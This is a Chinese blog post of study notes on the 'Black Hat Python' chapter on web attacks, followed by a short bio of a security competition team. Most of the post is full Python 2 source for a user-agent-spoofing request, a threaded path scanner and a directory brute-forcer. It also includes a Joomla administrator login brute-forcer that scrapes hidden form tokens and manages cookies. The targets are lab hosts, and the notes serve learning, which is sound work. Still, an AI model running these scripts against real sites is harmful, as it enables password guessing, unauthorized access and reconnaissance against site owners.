web攻击
前言
《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书
本篇是第5章web攻击,包括urllib2库,安装应用,破解目录,破解html表格认证
1、urllib2
编写与web服务交互的工具需要urllib2
下面简单看看如何创建一个GET请求,并定义一个user-agent
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf8 -*-
import urllib2
url = "http://www.360.cn/"
headers={}
# Googlebot -> google爬虫
headers['User-Agent'] = "Googlebot"
request = urllib2.Request(url,headers=headers)
response = urllib2.urlopen(request)
print response.read()
response.close()
2、开源web应用安装
其实是获取远程目标所有文件的扫描器
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf8 -*-
import Queue
import threading
import os
import urllib2
threads = 10
# 感兴趣的目标
target = "http://192.168.1.105/Joomla/"
directory = "./Joomla/"
filters = ["jpg", ".gif", ".png", ".css"]
os.chdir(directory)
web_paths = Queue.Queue()
# 遍历目录
for r,d,f in os.walk("."):
for files in f:
remote_path = "%s%s" % (r,files)
if remote_path.startswith("."):
remote_path = remote_path[1:]
if os.path.splitext(files)[1] not in filters:
web_paths.put(remote_path)
def test_remote():
while not web_paths.empty():
path = web_paths.get()
url = "%s%s" % (target, path)
request = urllib2.Request(url)
try:
response = urllib2.urlopen(request)
content = response.read()
print "[%d] => %s" % (response.code, path)
response.close()
except urllib2.HTTPError as error:
print "Failed %s" % error.code
pass
for i in range(threads):
print "Spawning thread %d" % i
t = threading.Thread(target=test_remote)
t.start()
3、破解目录和文件位置
一个简单的目录爆破
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf8 -*-
import urllib2
import threading
import Queue
import urllib
threads = 50
target_url = "http://testphp.vulnweb.com"
wordlist_file = "./all.txt" #这个字典可参考SVNDigger或DirBuster
resume = None #作者说用于网络中断时,延续上一个尝试的字符串,而不用从头开始,这里好像没用到
user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36"
def built_wordlist(wordlist_file):
#读入字典文件
fd = open(wordlist_file, "rb")
raw_words = fd.readlines()
fd.close()
found_resume = False
words = Queue.Queue()
for word in raw_words:
#删除字符串末尾的空格
word = word.rstrip()
#如果是延续上一次
if resume is not None:
if found_resume:
words.put(word)
else:
if word == resume:
found_resume = True
print "Resuming wordlist from: %s" % resume
else:
words.put(word)
return words
def dir_bruter(word_queue, extentsions=None):
while not word_queue.empty():
attempt = word_queue.get()
#用于储存要尝试的url
attempt_list = []
#检查是否有文件扩展名,如果没有就是我们要爆破路径,否则爆破文件
if "." not in attempt:
attempt_list.append("/%s/" % attempt)
else:
attempt_list.append("/%s" % attempt)
#如果我们想暴力破解扩展名
if extentsions:
for extentsion in extentsions:
attempt_list.append("/%s%s" % (attempt, extentsion))
#迭代我们要尝试的文件列表
for brute in attempt_list:
#构造url
url = "%s%s" % (target_url, urllib.quote(brute))
#print url
try:
headers = {}
headers['User-Agent'] = user_agent
r = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(r)
#print response.__dict__
if len(response.read()):
print "[%d] => %s" % (response.code, url)
#用e接收URLError的信息
except urllib2.URLError,e:
# code属性存在,并且code不是404
if hasattr(e, 'code') and e.code != 404:
print "!!! %d => %s" % (e.code, url)
pass
word_queue = built_wordlist(wordlist_file)
extentsions = [".php", ".bak", ".orig",".inc"]
#开启多线程扫描
for i in range(threads):
t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions))
t.start()
4、破解HTML表格认证
这是一个暴力破解Joomla的例子
- 在提交密码前检索token
- 利用urllib2建立session时设置cookie
Joomla的管理员表单
代码语言:javascript复制#!/usr/bin/env python
#-*- coding:utf8 -*-
import urllib2
import urllib
import cookielib
import threading
import sys
import Queue
from HTMLParser import HTMLParser
#简要设置
user_thread = 10
username ="giantbranch"
wordlist_file ="./mydict.txt"
resume = None
#特点目标设置
target_url = "http://192.168.1.105/Joomla/administrator/index.php"
target_post = "http://192.168.1.105/Joomla/administrator/index.php"
username_field = "username"
password_field = "passwd"
#登陆成功后,title里面就有下面的文字,注意是语言是英文才是下面的哦
success_check = "Administration - Control Panel"
class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
# 字典存储结果
self.tag_results = {}
#当我们调用feed函数时,他将整个HTML文档传递进来并在遇到每个标签时调用下面这个函数(根据函数名就容易理解)
def handle_starttag(self, tag, attrs):
#判断是否是input标签
if tag == "input":
tag_name = None
tag_value = None
for name,value in attrs:
#input标签里面不是有name,value,type等属性吗,这里只判断name和value
#不过我觉得第二个if是多余的
if name == "name":
tag_name = value
if name == "value":
tag_value = value
if tag_name is not None:
self.tag_results[tag_name] = value
class Bruter(object):
def __init__(self, username, words):
self.username = username
self.password_q = words
self.found = False
print "Finished setting up for %s" % username
def run_bruteforce(self):
for i in range(user_thread):
t = threading.Thread(target=self.web_bruter)
t.start()
def web_bruter(self):
while not self.password_q.empty() and not self.found:
#从字典获取密码,并去除右边的空格
brute = self.password_q.get().rstrip()
#使用FileCookieJar类,将cookie值储存到文件,参数为文件名,可用于存取cookie
jar = cookielib.FileCookieJar("cookies")
#用上面的jar初始化urllib2打开器,这样下面请求url时,就会把cookie值存到那个文件中
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
response =opener.open(target_url)
page = response.read()
print "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize())
#解析隐藏区域(表单)
parser = BruteParser()
parser.feed(page)
#已经含有隐藏表单的键值
post_tags = parser.tag_results
#添加我们的用户名和密码区域
post_tags[username_field] = self.username
post_tags[password_field] = brute
#输出post的数据(键值)
# for key,value in post_tags.items():
# print key,':',value
#url编码post的数据,开始尝试登陆
login_data = urllib.urlencode(post_tags)
login_response =opener.open(target_post, login_data)
login_result = login_response.read()
# 判断是否登陆成功
if success_check in login_result:
#设置为True,让循环结束
self.found = True
print "[*] Bruteforce successful."
print "[*] Username: %s" % username
print "[*] Password: %s" % brute
print "[*] Waiting for other threads to exit..."
def built_wordlist(wordlist_file):
#读入字典文件
fd = open(wordlist_file, "rb")
raw_words = fd.readlines()
fd.close()
found_resume = False
words = Queue.Queue()
for word in raw_words:
#删除字符串末尾的空格
word = word.rstrip()
#如果是延续上一次
if resume is not None:
if found_resume:
words.put(word)
else:
if word == resume:
found_resume = True
print "Resuming wordlist from: %s" % resume
else:
words.put(word)
return words
#构造字典
words = built_wordlist(wordlist_file)
#初始化Bruter类
bruter_obj = Bruter(username, words)
#调用run_bruteforce函数
bruter_obj.run_bruteforce()
结语
主要是学习web交互时的一些攻击,利用urllib2 但是由于本书较老,现在已经是urllib3了,对应HTTP1.1 所以实际应用时需要做相应修改
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。